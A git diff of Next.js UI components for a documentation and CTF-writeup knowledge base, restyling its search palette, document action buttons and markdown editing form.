<kbd className="ml-2 font-mono bg-[var(--bg-surface)] px-1.5 py-0.2 rounded border border-[var(--border-color)] text-[10px] text-[var(--text-muted)]">
|
||||
⌘K
|
||||
</kbd>
|
||||
</button>
|
||||
@@ -105,87 +166,115 @@ export default function CommandMenu() {
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="fixed inset-0 z-50 flex items-start justify-center pt-20 px-4">
|
||||
<div className="fixed inset-0 z-50 flex items-start justify-center pt-16 sm:pt-24 px-4">
|
||||
{/* Backdrop */}
|
||||
<div
|
||||
className="fixed inset-0 bg-black/60 dark:bg-black/80 backdrop-blur-sm transition-opacity"
|
||||
className="fixed inset-0 bg-black/60 backdrop-blur-xs transition-opacity"
|
||||
onClick={() => setOpen(false)}
|
||||
/>
|
||||
|
||||
{/* Modal */}
|
||||
<div className="relative w-full max-w-2xl bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl shadow-2xl overflow-hidden animate-fade-in">
|
||||
{/* Search input bar */}
|
||||
<div className="flex items-center gap-3 px-4 py-3.5 border-b border-[var(--border-color)] bg-[var(--bg-elevated)]">
|
||||
<svg className="w-5 h-5 text-[#5e6ad2] dark:text-[#7170ff] shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
<div className="flex items-center gap-3 px-4 sm:px-5 py-3.5 border-b border-[var(--border-color)] bg-[var(--bg-elevated)]">
|
||||
<Search className="w-4 h-4 text-[var(--text-muted)] shrink-0" />
|
||||
<input
|
||||
ref={inputRef}
|
||||
type="text"
|
||||
value={query}
|
||||
onChange={(e) => setQuery(e.target.value)}
|
||||
onKeyDown={handleKeyNavigation}
|
||||
placeholder="Type to search (titles, keywords, concepts)..."
|
||||
placeholder="Search documents, writeups, concepts, or tools..."
|
||||
className="w-full bg-transparent text-[var(--text-primary)] placeholder-[var(--text-dim)] text-sm focus:outline-none"
|
||||
/>
|
||||
{loading && (
|
||||
<div className="w-4 h-4 border-2 border-[#5e6ad2] border-t-transparent rounded-full animate-spin shrink-0" />
|
||||
<div className="w-4 h-4 border-2 border-[var(--text-muted)] border-t-transparent rounded-full animate-spin shrink-0" />
|
||||
)}
|
||||
<button
|
||||
onClick={() => setOpen(false)}
|
||||
className="text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] bg-[var(--bg-surface)] px-1.5 py-0.5 rounded border border-[var(--border-color)]"
|
||||
type="button"
|
||||
className="text-[10px] font-mono text-[var(--text-dim)] hover:text-[var(--text-primary)] bg-[var(--bg-surface)] px-1.5 py-0.5 rounded border border-[var(--border-color)]"
|
||||
>
|
||||
ESC
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* Results / Suggestions */}
|
||||
<div className="max-h-96 overflow-y-auto p-2">
|
||||
{/* Results / Quick Actions List */}
|
||||
<div className="max-h-[22rem] overflow-y-auto p-2">
|
||||
{query.trim() === "" ? (
|
||||
<div className="px-3 py-6 text-center">
|
||||
<p className="text-xs text-[var(--text-muted)]">Search full-text, semantic embeddings, and CTF writeups.</p>
|
||||
<div className="flex justify-center gap-2 mt-3 text-[11px] text-[var(--text-dim)]">
|
||||
<span>Navigation: <kbd className="bg-[var(--bg-elevated)] px-1 py-0.5 rounded border border-[var(--border-color)]">↑</kbd> <kbd className="bg-[var(--bg-elevated)] px-1 py-0.5 rounded border border-[var(--border-color)]">↓</kbd></span>
|
||||
<span>Select: <kbd className="bg-[var(--bg-elevated)] px-1 py-0.5 rounded border border-[var(--border-color)]">↵</kbd></span>
|
||||
<div className="p-1 space-y-0.5">
|
||||
<div className="px-2.5 py-1 text-[10px] font-mono uppercase tracking-wider text-[var(--text-muted)]">
|
||||
Quick Shortcuts
|
||||
</div>
|
||||
{quickActions.map((action, idx) => {
|
||||
const Icon = action.icon;
|
||||
const isSelected = idx === selectedIndex;
|
||||
return (
|
||||
<div
|
||||
key={action.id}
|
||||
onClick={() => action.href && handleNavigate(action.href)}
|
||||
onMouseEnter={() => setSelectedIndex(idx)}
|
||||
className={`flex items-center justify-between gap-3 px-3 py-2 rounded-lg cursor-pointer transition-colors ${
|
||||
isSelected
|
||||
? "bg-[var(--bg-elevated)] text-[var(--text-primary)]"
|
||||
: "hover:bg-[var(--bg-elevated)] text-[var(--text-secondary)]"
|
||||
}`}
|
||||
>
|
||||
<div className="flex items-center gap-2.5">
|
||||
<div className={`p-1.5 rounded ${isSelected ? "bg-[var(--brand)] text-[var(--brand-fg)]" : "bg-[var(--bg-elevated)] text-[var(--text-muted)]"}`}>
|
||||
<Icon className="w-3.5 h-3.5" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-xs font-semibold text-[var(--text-primary)]">
|
||||
{action.title}
|
||||
</div>
|
||||
<div className="text-[11px] text-[var(--text-muted)]">
|
||||
{action.subtitle}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<ArrowRight className={`w-3.5 h-3.5 text-[var(--text-dim)] ${isSelected ? "text-[var(--text-primary)]" : ""}`} />
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
) : results.length === 0 && !loading ? (
|
||||
<div className="px-4 py-8 text-center text-xs text-[var(--text-muted)]">
|
||||
No documents matching "{query}"
|
||||
<div className="px-4 py-10 text-center text-xs text-[var(--text-muted)] space-y-1">
|
||||
<p>No knowledge base items matched "{query}"</p>
|
||||
</div>
|
||||
) : (
|
||||
<ul className="space-y-1">
|
||||
<ul className="space-y-1 p-1">
|
||||
{results.map((hit, index) => {
|
||||
const isSelected = index === selectedIndex;
|
||||
return (
|
||||
<li
|
||||
key={hit.slug}
|
||||
onClick={() => handleNavigate(hit.slug)}
|
||||
onClick={() => handleNavigate(`/${hit.slug}`)}
|
||||
onMouseEnter={() => setSelectedIndex(index)}
|
||||
className={`flex items-start justify-between gap-3 px-3 py-2.5 rounded-lg cursor-pointer transition-all ${
|
||||
className={`flex items-start justify-between gap-3 px-3 py-2.5 rounded-lg cursor-pointer transition-colors ${
|
||||
isSelected
|
||||
? "bg-[#5e6ad2]/15 border border-[#5e6ad2]/40 text-[var(--text-primary)]"
|
||||
? "bg-[var(--bg-elevated)] text-[var(--text-primary)] border border-[var(--border-color)]"
|
||||
: "hover:bg-[var(--bg-elevated)] text-[var(--text-secondary)] border border-transparent"
|
||||
}`}
|
||||
>
|
||||
<div className="min-w-0 flex-1">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs px-1.5 py-0.25 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[#5e6ad2] dark:text-[#7170ff] font-mono">
|
||||
<div className="flex items-center gap-2 mb-0.5">
|
||||
<span className="text-[10px] font-mono px-1.5 py-0.2 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)] uppercase font-semibold">
|
||||
{hit.section}
|
||||
</span>
|
||||
<span className={`text-sm font-medium ${isSelected ? "text-[#5e6ad2] dark:text-[#7170ff]" : "text-[var(--text-primary)]"} truncate`}>
|
||||
<span className={`text-xs sm:text-sm font-semibold ${isSelected ? "text-[var(--text-primary)]" : "text-[var(--text-primary)]"} truncate`}>
|
||||
{hit.title}
|
||||
</span>
|
||||
</div>
|
||||
{hit.snippet && (
|
||||
<p
|
||||
className="text-xs text-[var(--text-muted)] mt-1 line-clamp-1 [&>mark]:bg-[#5e6ad2]/30 [&>mark]:text-[var(--text-primary)] [&>mark]:rounded [&>mark]:px-0.5"
|
||||
className="text-xs text-[var(--text-muted)] line-clamp-1 mt-1 [&>mark]:bg-[var(--bg-elevated-hover)] [&>mark]:text-[var(--text-primary)] [&>mark]:font-semibold"
|
||||
dangerouslySetInnerHTML={{ __html: hit.snippet }}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
<span className="text-[11px] text-[var(--text-dim)] shrink-0 self-center">
|
||||
{hit.slug}
|
||||
<span className="text-[10px] font-mono text-[var(--text-dim)] shrink-0 self-center">
|
||||
/{hit.slug}
|
||||
</span>
|
||||
</li>
|
||||
);
|
||||
@@ -195,14 +284,18 @@ export default function CommandMenu() {
|
||||
</div>
|
||||
|
||||
{/* Footer */}
|
||||
<div className="flex items-center justify-between px-4 py-2.5 border-t border-[var(--border-color)] bg-[var(--bg-elevated)] text-[11px] text-[var(--text-dim)]">
|
||||
<span>Tip: Press <kbd className="bg-[var(--bg-surface)] px-1 py-0.5 rounded border border-[var(--border-color)]">Hybrid</kbd> search is enabled</span>
|
||||
<div className="flex items-center justify-between px-4 py-2 border-t border-[var(--border-color)] bg-[var(--bg-elevated)] text-[10px] text-[var(--text-muted)] font-mono">
|
||||
<div className="flex items-center gap-2">
|
||||
<span>[ ↑↓ NAVIGATE ]</span>
|
||||
<span>[ ↵ SELECT ]</span>
|
||||
</div>
|
||||
<Link
|
||||
href={`/search?q=${encodeURIComponent(query)}`}
|
||||
onClick={() => setOpen(false)}
|
||||
className="hover:text-[#5e6ad2] dark:hover:text-[#7170ff] transition-colors"
|
||||
className="hover:text-[var(--text-primary)] font-medium flex items-center gap-1"
|
||||
>
|
||||
Open full search page →
|
||||
<span>Full Search Console</span>
|
||||
<ArrowRight className="w-3 h-3" />
|
||||
</Link>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -2,6 +2,14 @@
|
||||
|
||||
import { useState } from "react";
|
||||
import Link from "next/link";
|
||||
import {
|
||||
Copy,
|
||||
Check,
|
||||
Share2,
|
||||
FileDown,
|
||||
FileText,
|
||||
Edit3,
|
||||
} from "lucide-react";
|
||||
|
||||
interface DocActionsProps {
|
||||
slug: string;
|
||||
@@ -27,62 +35,72 @@ export default function DocActions({ slug, body, canEdit }: DocActionsProps) {
|
||||
|
||||
return (
|
||||
<div className="flex items-center gap-1.5 shrink-0 flex-wrap">
|
||||
{/* Copy Markdown */}
|
||||
{/* Copy Raw Markdown */}
|
||||
<button
|
||||
onClick={handleCopyMarkdown}
|
||||
type="button"
|
||||
title="Copy raw markdown content"
|
||||
className="inline-flex items-center gap-1 px-2.5 py-1 text-xs bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--brand)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md transition-all shadow-sm"
|
||||
className="inline-flex items-center gap-1.5 px-2.5 py-1 text-xs bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md transition-colors shadow-xs cursor-pointer"
|
||||
>
|
||||
{copiedMd ? (
|
||||
<>
|
||||
<svg className="w-3.5 h-3.5 text-emerald-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M5 13l4 4L19 7" />
|
||||
</svg>
|
||||
<span className="text-emerald-500 font-medium">Copied MD</span>
|
||||
<Check className="w-3.5 h-3.5 text-emerald-500" />
|
||||
<span className="text-emerald-500 font-medium">Copied</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<svg className="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M8 7v8a2 2 0 002 2h6M8 7V5a2 2 0 012-2h4.586a1 1 0 01.707.293l4.414 4.414a1 1 0 01.293.707V15a2 2 0 01-2 2h-2M8 7H6a2 2 0 00-2 2v10a2 2 0 002 2h8a2 2 0 002-2v-2" />
|
||||
</svg>
|
||||
<Copy className="w-3.5 h-3.5" />
|
||||
<span>Raw MD</span>
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
|
||||
{/* Copy Link */}
|
||||
{/* Copy Share Link */}
|
||||
<button
|
||||
onClick={handleCopyLink}
|
||||
type="button"
|
||||
title="Copy link to document"
|
||||
className="inline-flex items-center gap-1 px-2.5 py-1 text-xs bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--brand)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md transition-all shadow-sm"
|
||||
className="inline-flex items-center gap-1.5 px-2.5 py-1 text-xs bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md transition-colors shadow-xs cursor-pointer"
|
||||
>
|
||||
{copiedLink ? (
|
||||
<>
|
||||
<svg className="w-3.5 h-3.5 text-emerald-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M5 13l4 4L19 7" />
|
||||
</svg>
|
||||
<span className="text-emerald-500 font-medium">Copied Link</span>
|
||||
<Check className="w-3.5 h-3.5 text-emerald-500" />
|
||||
<span className="text-emerald-500 font-medium">Copied</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<svg className="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
|
||||
</svg>
|
||||
<Share2 className="w-3.5 h-3.5" />
|
||||
<span>Share</span>
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
|
||||
{/* Export PDF */}
|
||||
<Link
|
||||
href={`/${slug}/export`}
|
||||
title="Export document to publication-grade PDF"
|
||||
className="inline-flex items-center gap-1.5 px-2.5 py-1 text-xs bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md transition-colors shadow-xs"
|
||||
>
|
||||
<FileDown className="w-3.5 h-3.5" />
|
||||
<span>PDF</span>
|
||||
</Link>
|
||||
|
||||
{/* Export Word (.docx) */}
|
||||
<a
|
||||
href={`/api/export?path=${encodeURIComponent(slug)}&format=docx`}
|
||||
title="Download editable Microsoft Word (.docx) file"
|
||||
className="inline-flex items-center gap-1.5 px-2.5 py-1 text-xs bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md transition-colors shadow-xs cursor-pointer"
|
||||
>
|
||||
<FileText className="w-3.5 h-3.5" />
|
||||
<span>Word (.docx)</span>
|
||||
</a>
|
||||
|
||||
{/* Edit Link */}
|
||||
<Link
|
||||
href={canEdit ? `/${slug}?edit=1` : `/login?redirect=/${slug}`}
|
||||
className="inline-flex items-center gap-1 px-2.5 py-1 text-xs bg-[#5e6ad2]/10 hover:bg-[#5e6ad2]/20 border border-[#5e6ad2]/30 hover:border-[#5e6ad2]/60 text-[#5e6ad2] dark:text-[#7170ff] rounded-md transition-all font-medium"
|
||||
className="inline-flex items-center gap-1.5 px-2.5 py-1 text-xs bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-primary)] rounded-md transition-colors font-medium shadow-xs"
|
||||
>
|
||||
<svg className="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z" />
|
||||
</svg>
|
||||
<Edit3 className="w-3.5 h-3.5" />
|
||||
<span>Edit</span>
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
+144
-109
@@ -3,6 +3,19 @@
|
||||
import { useState, useRef } from "react";
|
||||
import { useRouter } from "next/navigation";
|
||||
import Markdown from "./Markdown";
|
||||
import {
|
||||
Bold,
|
||||
Italic,
|
||||
Heading2,
|
||||
Heading3,
|
||||
Code,
|
||||
Link as LinkIcon,
|
||||
Plus,
|
||||
Trash2,
|
||||
Eye,
|
||||
Edit3,
|
||||
Sliders,
|
||||
} from "lucide-react";
|
||||
|
||||
interface DocFormProps {
|
||||
mode: "create" | "edit";
|
||||
@@ -22,8 +35,26 @@ interface DocFormProps {
|
||||
};
|
||||
}
|
||||
|
||||
const DEFAULT_SECTION_LIST = ["docs", "writeups", "research", "notes", "guides", "tutorials", "ctf", "api", "projects"];
|
||||
const DEFAULT_TYPE_LIST = ["documentation", "writeup", "research", "note", "guide", "tutorial", "spec"];
|
||||
const DEFAULT_SECTION_LIST = [
|
||||
"docs",
|
||||
"writeups",
|
||||
"research",
|
||||
"notes",
|
||||
"guides",
|
||||
"tutorials",
|
||||
"ctf",
|
||||
"api",
|
||||
"projects",
|
||||
];
|
||||
const DEFAULT_TYPE_LIST = [
|
||||
"documentation",
|
||||
"writeup",
|
||||
"research",
|
||||
"note",
|
||||
"guide",
|
||||
"tutorial",
|
||||
"spec",
|
||||
];
|
||||
|
||||
const PRESET_FIELDS = [
|
||||
{ key: "difficulty", value: "medium" },
|
||||
@@ -88,7 +119,7 @@ export default function DocForm({
|
||||
const availableFolders = existingFolders?.[section] ?? [];
|
||||
|
||||
const baseInputCls =
|
||||
"w-full px-3.5 py-2 bg-[var(--bg-surface)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-lg text-sm text-[var(--text-primary)] placeholder-[var(--text-dim)] focus:outline-none focus:border-[var(--brand)] focus:ring-1 focus:ring-[#5e6ad2] transition-colors";
|
||||
"w-full px-3.5 py-2 bg-[var(--bg-surface)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-lg text-sm text-[var(--text-primary)] placeholder-[var(--text-dim)] focus:outline-none focus:border-[var(--text-primary)] transition-colors";
|
||||
|
||||
function addCustomField(key = "", value = "") {
|
||||
setCustomFields([...customFields, { key, value }]);
|
||||
@@ -128,7 +159,7 @@ export default function DocForm({
|
||||
setError(null);
|
||||
|
||||
if (!effectiveSlug || !title || !body) {
|
||||
setError("Slug, title, and body are required.");
|
||||
setError("Slug, title, and markdown body are required.");
|
||||
setLoading(false);
|
||||
return;
|
||||
}
|
||||
@@ -175,7 +206,7 @@ export default function DocForm({
|
||||
|
||||
if (!res.ok) {
|
||||
const data = await res.json().catch(() => ({}));
|
||||
throw new Error(data.error ?? "Save failed");
|
||||
throw new Error(data.error ?? "Failed to save document. Verify ADMIN_PASSWORD or secret.");
|
||||
}
|
||||
|
||||
const result = await res.json();
|
||||
@@ -190,75 +221,73 @@ export default function DocForm({
|
||||
return (
|
||||
<form onSubmit={handleSubmit} className="space-y-6 max-w-4xl">
|
||||
{error && (
|
||||
<div className="p-3.5 rounded-lg border border-rose-500/30 bg-rose-500/10 text-rose-500 dark:text-rose-400 text-sm">
|
||||
<div className="p-3.5 rounded-lg border border-rose-500/30 bg-rose-500/10 text-rose-500 dark:text-rose-400 text-xs font-medium animate-fade-in">
|
||||
{error}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Title */}
|
||||
{/* Document Title */}
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
Document Title *
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={title}
|
||||
onChange={(e) => setTitle(e.target.value)}
|
||||
placeholder="e.g. Database Architecture Overview"
|
||||
className={`${baseInputCls} text-base`}
|
||||
placeholder="e.g. Exploiting Stack Alignment Issues in x86_64"
|
||||
className={`${baseInputCls} text-base font-semibold`}
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Section + Type + Status */}
|
||||
{/* Section, Type, Status */}
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4">
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
Section
|
||||
</label>
|
||||
<div className="relative">
|
||||
<input
|
||||
type="text"
|
||||
list="section-list"
|
||||
value={section}
|
||||
onChange={(e) => setSection(e.target.value)}
|
||||
placeholder="e.g. docs, writeups, ctf, guides"
|
||||
className={baseInputCls}
|
||||
required
|
||||
/>
|
||||
<datalist id="section-list">
|
||||
{sectionOptions.map((s) => (
|
||||
<option key={s} value={s}>
|
||||
{s.toUpperCase()}
|
||||
</option>
|
||||
))}
|
||||
</datalist>
|
||||
</div>
|
||||
<input
|
||||
type="text"
|
||||
list="section-list"
|
||||
value={section}
|
||||
onChange={(e) => setSection(e.target.value)}
|
||||
placeholder="e.g. docs, writeups, research"
|
||||
className={baseInputCls}
|
||||
required
|
||||
/>
|
||||
<datalist id="section-list">
|
||||
{sectionOptions.map((s) => (
|
||||
<option key={s} value={s}>
|
||||
{s.toUpperCase()}
|
||||
</option>
|
||||
))}
|
||||
</datalist>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
Type
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
Document Type
|
||||
</label>
|
||||
<div className="relative">
|
||||
<input
|
||||
type="text"
|
||||
list="type-list"
|
||||
value={type}
|
||||
onChange={(e) => setType(e.target.value)}
|
||||
placeholder="e.g. documentation, writeup, note"
|
||||
className={baseInputCls}
|
||||
/>
|
||||
<datalist id="type-list">
|
||||
{DEFAULT_TYPE_LIST.map((t) => (
|
||||
<option key={t} value={t}>
|
||||
{t}
|
||||
</option>
|
||||
))}
|
||||
</datalist>
|
||||
</div>
|
||||
<input
|
||||
type="text"
|
||||
list="type-list"
|
||||
value={type}
|
||||
onChange={(e) => setType(e.target.value)}
|
||||
placeholder="e.g. writeup, documentation, note"
|
||||
className={baseInputCls}
|
||||
/>
|
||||
<datalist id="type-list">
|
||||
{DEFAULT_TYPE_LIST.map((t) => (
|
||||
<option key={t} value={t}>
|
||||
{t}
|
||||
</option>
|
||||
))}
|
||||
</datalist>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
Status
|
||||
</label>
|
||||
<select
|
||||
@@ -267,7 +296,7 @@ export default function DocForm({
|
||||
className={baseInputCls}
|
||||
>
|
||||
<option value="published">Published</option>
|
||||
<option value="draft">Draft</option>
|
||||
<option value="draft">Draft (Unindexed)</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@@ -275,8 +304,8 @@ export default function DocForm({
|
||||
{/* Folder + Slug */}
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
Parent Folder
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
Parent Folder / Chapter
|
||||
</label>
|
||||
<select
|
||||
value={parentFolder}
|
||||
@@ -292,9 +321,10 @@ export default function DocForm({
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
{isEdit ? "Full Slug" : "Slug (File name) *"}
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
{isEdit ? "Document Path" : "Slug (File name) *"}
|
||||
</label>
|
||||
{isEdit ? (
|
||||
<input
|
||||
@@ -309,12 +339,12 @@ export default function DocForm({
|
||||
value={slugInput}
|
||||
onChange={(e) => setSlugInput(e.target.value)}
|
||||
className={`${baseInputCls} font-mono`}
|
||||
placeholder="my-new-post"
|
||||
placeholder="ret2win-guide"
|
||||
required
|
||||
/>
|
||||
)}
|
||||
<p className="text-[11px] text-[var(--text-dim)] mt-1 font-mono">
|
||||
Path: <span className="text-[#5e6ad2] dark:text-[#7170ff]">{effectiveSlug || section}</span>
|
||||
<p className="text-[11px] text-[var(--text-dim)] mt-1.5 font-mono">
|
||||
Full Slug: <span className="text-[var(--text-primary)] font-semibold">{effectiveSlug || section}</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -322,7 +352,7 @@ export default function DocForm({
|
||||
{/* Tags + Author */}
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
Tags (comma separated)
|
||||
</label>
|
||||
<input
|
||||
@@ -330,11 +360,11 @@ export default function DocForm({
|
||||
value={tags}
|
||||
onChange={(e) => setTags(e.target.value)}
|
||||
className={baseInputCls}
|
||||
placeholder="ctf, pwn, reverse, tutorial"
|
||||
placeholder="pwn, x86_64, rop, ctf"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5">
|
||||
<label className="block text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] mb-1.5 font-mono">
|
||||
Author
|
||||
</label>
|
||||
<input
|
||||
@@ -342,31 +372,32 @@ export default function DocForm({
|
||||
value={author}
|
||||
onChange={(e) => setAuthor(e.target.value)}
|
||||
className={baseInputCls}
|
||||
placeholder="asep"
|
||||
placeholder="e.g. asepharyana"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Custom Metadata Fields */}
|
||||
<div className="p-4 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl space-y-3 shadow-sm">
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="p-4 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl space-y-3.5 shadow-xs">
|
||||
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-2">
|
||||
<div>
|
||||
<h3 className="text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)]">
|
||||
Dynamic Custom Metadata
|
||||
<h3 className="text-xs font-semibold uppercase tracking-wider text-[var(--text-muted)] font-mono flex items-center gap-1.5">
|
||||
<Sliders className="w-3.5 h-3.5 text-[var(--text-muted)]" />
|
||||
<span>Technical Metadata</span>
|
||||
</h3>
|
||||
<p className="text-[11px] text-[var(--text-dim)] mt-0.5">
|
||||
Add custom key-values (event, difficulty, points, etc.) rendered as styled badges.
|
||||
Custom fields (points, difficulty, event, solved) will render as styled badges in the document hero.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-1.5 flex-wrap">
|
||||
<span className="text-[11px] text-[var(--text-dim)]">Presets:</span>
|
||||
<div className="flex items-center gap-1 flex-wrap">
|
||||
<span className="text-[10px] font-mono text-[var(--text-dim)] uppercase">Presets:</span>
|
||||
{PRESET_FIELDS.map((preset) => (
|
||||
<button
|
||||
key={preset.key}
|
||||
type="button"
|
||||
onClick={() => addCustomField(preset.key, preset.value)}
|
||||
className="px-2 py-0.5 text-[11px] bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded transition-colors"
|
||||
className="px-2 py-0.5 text-[10px] bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded transition-colors font-mono cursor-pointer"
|
||||
>
|
||||
+{preset.key}
|
||||
</button>
|
||||
@@ -393,10 +424,10 @@ export default function DocForm({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => removeCustomField(i)}
|
||||
className="p-2 text-rose-500 hover:text-rose-600 rounded hover:bg-[var(--bg-elevated)] transition-colors"
|
||||
className="p-2 text-rose-500 hover:text-rose-600 rounded hover:bg-[var(--bg-elevated)] transition-colors cursor-pointer"
|
||||
title="Remove field"
|
||||
>
|
||||
✕
|
||||
<Trash2 className="w-4 h-4" />
|
||||
</button>
|
||||
</div>
|
||||
))}
|
||||
@@ -404,14 +435,15 @@ export default function DocForm({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => addCustomField()}
|
||||
className="text-xs text-[#5e6ad2] dark:text-[#7170ff] hover:underline px-3 py-1.5 rounded-lg border border-[#5e6ad2]/30 hover:border-[#5e6ad2]/60 bg-[#5e6ad2]/5 transition-colors font-medium"
|
||||
className="inline-flex items-center gap-1.5 text-xs text-[var(--text-primary)] hover:underline px-3 py-1 rounded-md border border-[var(--border-color)] bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] transition-colors font-medium cursor-pointer"
|
||||
>
|
||||
+ Add Custom Field
|
||||
<Plus className="w-3.5 h-3.5" />
|
||||
<span>Add Custom Field</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* Body with Write / Preview Tabs */}
|
||||
<div className="border border-[var(--border-color)] rounded-xl overflow-hidden bg-[var(--bg-surface)] shadow-sm">
|
||||
{/* Markdown Body Editor */}
|
||||
<div className="border border-[var(--border-color)] rounded-xl overflow-hidden bg-[var(--bg-surface)] shadow-xs">
|
||||
{/* Editor Toolbar */}
|
||||
<div className="flex items-center justify-between px-3 py-2 bg-[var(--bg-elevated)] border-b border-[var(--border-color)] flex-wrap gap-2">
|
||||
{/* Tabs */}
|
||||
